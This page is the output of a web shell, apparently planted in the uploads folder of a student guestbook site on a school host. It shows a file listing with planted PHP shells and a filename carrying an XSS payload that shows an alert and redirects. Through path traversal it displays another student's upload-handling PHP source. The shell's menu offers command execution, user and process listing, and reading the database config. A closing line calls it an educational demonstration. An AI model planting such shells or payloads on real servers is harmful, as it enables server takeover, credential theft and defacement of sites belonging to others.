🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../589181.klas4s23.mid-ica.nl/public_html/guestbook/sendMessage.php

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Check if the 'session' cookie is present
    if (isset($_COOKIE['session'])) {
        echo "you already sent a message in the last 24 hours!\n";
        exit();
    }

    // Read the contents of the JSON file
    $jsonData = file_get_contents('messages.json');
    
    // Convert the JSON data to an associative array
    $messages = json_decode($jsonData, true);

    $imageDir = false;

    // Check if an image file was uploaded
    if (file_exists($_FILES['image']['tmp_name'])) {
        // Process the uploaded image here
        // You can access the image details using $_FILES['image']
        // For example, $_FILES['image']['name'] contains the original name of the uploaded file
        // $_FILES['image']['tmp_name'] contains the temporary filename on the server
        // $_FILES['image']['size'] contains the size of the uploaded file in bytes
        // $_FILES['image']['type'] contains the MIME type of the uploaded file

        // Example code to move the uploaded file to a specific directory

        
        

        $uploadDir = 'uploads/';
        $uploadFile = $uploadDir . pathinfo($_FILES['image']['name'], PATHINFO_FILENAME) . '-' . time() . '.' . pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);

        // Check if the file size is under 100MB
        echo $_FILES['image']['size'] . "\n";
        
        if ($_FILES['image']['size'] <= 8 * 1024 * 1024 && $_FILES['image']['size'] != 0) {
            // Check if the file is an image
            $imageInfo = getimagesize($_FILES['image']['tmp_name']);
            if ($imageInfo !== false) {
                // Check the file extension
                $fileNameParts = explode('.', $_FILES['image']['name']);
                $fileExtension = strtolower(end($fileNameParts));
                $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
                
                if (in_array($fileExtension, $allowedExtensions)) {
                    if (move_uploaded_file($_FILES['image']['tmp_name'], $uploadFile)) {
                        // Image uploaded successfully
                        $imageDir = $uploadFile;
                    } else {
                        echo "Failed to move uploaded image!\n";
                    }
                } else {
                    echo "Invalid file extension!\n";
                }
            } else {
                echo "File is not an image!\n";
            }
        } else {
            echo "Image size is too large!\n";
            exit();
        }
    } else {
        echo "No image uploaded!\n";
    }

    // check if message and name arn't too long
    // Check if message is too long
    if (strlen($_POST['message']) > 512) {
        echo "Message is too long!\n";
        exit();
    }

    // Check if name is too long
    if (strlen($_POST['name']) > 24) {
        echo "Name is too long!\n";
        exit();
    }

    // Create and sanitize new message
    $newMessage = [
        "userName" => filter_var($_POST['name'], FILTER_SANITIZE_STRING),
        "message" => filter_var($_POST['message'], FILTER_SANITIZE_STRING),
        "imageDir" => $imageDir,
        "serverTime" => time()
    ];
    
    // Add the new message to the array
    $messages[] = $newMessage;
    
    // Convert the array back to JSON
    $jsonData = json_encode($messages, JSON_PRETTY_PRINT);

    // Write the updated JSON data back to the file
    if (is_writable('messages.json')) {
        if (file_put_contents('messages.json', $jsonData) !== false) {
            echo "Message sent!";

            // Set the 'session' cookie with value 'none' and expiration date after 24 hours
            if (!isset($_COOKIE['session'])) {
                setcookie('session', 'none', time() + 24 * 60 * 60);
            }

            header('Location: ' . $_SERVER['HTTP_REFERER']);
            exit();
        } else {
            echo "Failed to write to file!";
        }
    } else {
        echo "No permission to write to file!";
    }
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!